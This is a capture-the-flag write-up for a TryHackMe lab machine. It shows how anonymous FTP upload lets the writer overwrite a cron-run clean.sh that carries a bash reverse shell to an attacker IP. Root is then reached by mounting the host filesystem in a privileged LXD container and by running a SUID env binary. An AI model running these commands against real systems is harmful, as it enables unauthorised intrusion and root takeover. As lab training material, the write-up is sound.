PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
We are looking at a machine from TryHackMe rated medium with a couple of interesting privilege escalation paths.
The attack vector was fairly easy to see but required a few checks in order to have it run correctly. The privilege escalation for SUID was a simple path with a slight catchout if you don't specify the full path and then we took the time to learn about how the LXD group membership should be reserved only for trusted users that have root access already as this group membership essentially provides root privileges.
Initial Access - Anonymous FTP Upload & Script
Initial enumeration started and uncovered that the FTP server allows anonymous login and this allowed us to see some interesting files within a /scripts/ folder.
When reviewing this, we saw from the clean.sh the following code and then from the removed_files.log confirming what is happening.
More importantly, we could see that the removed_files.log was being updated recently and by inspecting it; it updates every 1 minute.
When inspecting the clean.sh file we can see that the code appears to execute into a log file through a bash command
This is confirmed within the removed.files.log as we can see that it continues to echo the string into the log file.
Knowing this, we are also aware that we have access to overwriting and putting files into the system as an anonymous user. Having a look at the permissions further clarifies this. Understanding this means we have a clear exploit path by editing the script and uploading the file to overwrite the original.
Since this is a simple bash script, we just add the following into it and then upload it to the /scripts/ directory to overwrite the original script. After 1 minute, we receive our ping indicating that we have remote code execution!
This confirms that we can execute code and that we have outbound connectivity. Now we just add our own reverse shell code and repeat the above steps to get our initial access to the system.
bash -c 'exec bash -i &>/dev/tcp/10.4.42.21/443 <&1'
With this we have our initial access and we can see our username and group memberships.
Privilege Escalation - LXD Group
Through initial enumeration we saw that our user is part of the LXD group. Being part of this group also means being able to escalate to root with LXD.
In order to exploit this LXD group membership, the following steps are required on our personal Kali machine in order to build the necessary files. This is only required due to not having an internet connection to the CTF machine.
# Download Dependencies for Go Lang
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools git
# Download & Make Distrobuilder
git clone https://github.com/lxc/distrobuilder
# Create Folder & Setup yaml
mkdir -p $HOME/ContainerImages/alpine/
# Build lxd.tar.xz & rootfs.squashfs
sudo /home/kali/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
Once we have these files built. We can save them somewhere for later use but we need to transfer the files over to the victim machine as well as our next steps will take place on the victims machine.
In this case, we decided to proceed with the Alpine distrobution image as Alpine is compatible and common for LXD/LXC containers.
# Server On Kali
python3 -m http.server 443
# Download from Victim
"Or any folder that you have write access to"
From here. we have the necessary files in order to take advantage of LXD. We exploit on the Victim machine with the following and proceed to create our image & container to allow our breakout.
# Import Image (saved in current directory)
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image
# Initialise LXD & Set All Defaults (hit enter lots)
If LXD has not been run before, then being able to initialise it is important in order to avoid errors going forward. Make sure to run the
lxd init command to start off with then follow along.
With this our image is imported on the victim machine. Next we want to create our container that we named ourselves "privesc". We set the following configuration and then check if our new container is created.
# Create Container
lxc init alpine privesc -c security.privileged=true
lxc list #List containers
With this confirmed, our next step is to configure and add the Root path and mount for our exploitation.
# Add Root (/) Path & Exploit
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
# Execute /bin/sh
lxc exec privesc /bin/sh
As can be seen, through being part of the LXD group membership we have the ability to run and control LXD containers/images which allows the exploitation path we have just seen. As such we have root access and we have the root path mounted under /mnt/root/ that contains the filesystem.
Privilege Escalation - SUID
Another method of escalation on this machine is through SUID with the following information found with this command.
find / -user root -perm /4000 2>/dev/null
From here, we head on over and take a look on GTFOBins we can see we are able to execute env and call on /bin/bash to get an elevated shell as long as the /usr/bin/env binary contains the SUID bitset.
We don't have passwords in order to run with sudo permissions so there is no point in attempting to sudo install. We simply try to run it as displayed and in this case, we want to run the full binary path for /usr/bin/env.
/usr/bin/env /bin/sh -p
With this, our effective user ID has changed to root even though our displayed UID is still the same. Don't be fooled as we are now root and have full permissions on the target system.